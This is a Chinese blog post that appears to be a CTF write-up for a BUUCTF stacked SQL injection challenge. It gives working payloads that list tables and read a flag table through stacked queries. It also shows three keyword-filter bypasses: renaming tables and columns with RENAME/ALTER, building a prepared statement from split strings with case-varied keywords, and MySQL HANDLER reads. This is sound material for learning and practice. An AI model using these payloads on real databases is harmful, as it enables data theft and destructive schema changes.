buuctf web-2(sql注入新姿势 mysql handler 表的重命名 sql预编译

actf 2020 新生赛 exec 1

 

 猜测为命令执行

 

 

 

 强网杯 2019 随便注 1

 

 输入1‘有sql报错,根据报错信息推测为单引号闭合

order by猜波字段

 

 

 

 说明当前表字段数量为2

接下来尝试用联合注入

 

 可以看到这里过滤了select ,update等关键字,这里用的过滤函数是preg_match,执行的是大小写不敏感的匹配,尝试双写,大小写绕过后失败,因为后端并没有将敏感字符串替换为空的操作

这里放弃联合注入

尝试布尔盲注

 

 这是回显正常的页面

 

 这是没有回显,即条件错误的页面

 

 说明当前数据库长度为9

但后面的布尔盲注还是需要用到where子句 select等关键字,仅判断一个数据库长度也没有什么用,放弃盲注

同样的,要用到select where查询条件的报错注入在这里也没有利用价值

尝试堆叠注入

1';show tables;#  查询一下表

 

 可以使用,但是之后的注入触及我的知识盲区了

看了大佬们的wp后,成功过关

 

接上,通过show tables我们可以看到有两个表

words和1919810931114514 (114514......这表名)

先看看words表的字段内容

 

 再看看114514表的字段

1'; show columns from `1919810931114514`;# (注意这里表名为数字时,要用反引号包裹起来进行查询)

 

 发现flag字段

 

回想一下一开始输入1的时候页面有两个回显,通过刚才的查询知道了words表有两个字段 id和data, 114514表有个flag

推测后端语句为 select id,data from words where id=

即默认的查询表为words

这意味着我们无论查询什么数据都是再words表中进行,而在words表中查不到我们要的flag

解法一

1.先通过rename把words表改成其他表名

2.再把114514表改为words表

3.给words表添加新的列名为id

4.把flag列改名为data

payload如下

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

 

解析一下这个payload

首先是rename,用于重新命名表的名称

rename命令格式:rename table 原表名 to 新表名

ALTER TABLE 语句用于在已有的表中添加、删除或修改列

格式 ALTER TABLE table_name
ADD column_name datatype

int unsigned即无符号整型,auto_increment primary key为自增主键,默认值为1.每增加一条纪录,值加一

alter change用于修改字段名

格式

alter table table_name change old_name new_name datatype

datatype是数据类型

完成了以上操作后

输入数字1即可爆出flag

 

 data就是flag,所以输入数字1即显示flag

解法2

sql预编译

因为flag字段在114514表中

所以我们要查询select * from `1919810931114514`;

payload

1’;set @sql=CONCAT(‘se’,‘lect * from 1919810931114514;’);prepare stmt from @sql;execute stmt;#

set用于设置变量名和值

prepare用于预备一个语句并赋予名称,以后可以引用该语句

execute用于执行语句

输入payload

 

 这里strstr函数检测到了set和prepare关键字

但是strstr函数不能区分大小写,这里用大小写绕过即可

1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

 

 

解法三

mysql handler语句

handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:

打开表:
HANDLER 表名 OPEN ;

查看数据:
HANDLER 表名 READ next;

关闭表:
HANDLER 表名 READ CLOSE;
payload
1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ NEXT;HANDLER `1919810931114514` CLOSE;

 

 

 
 
posted @ 2022-11-04 21:17  unknown27  阅读(150)  评论(0)    收藏  举报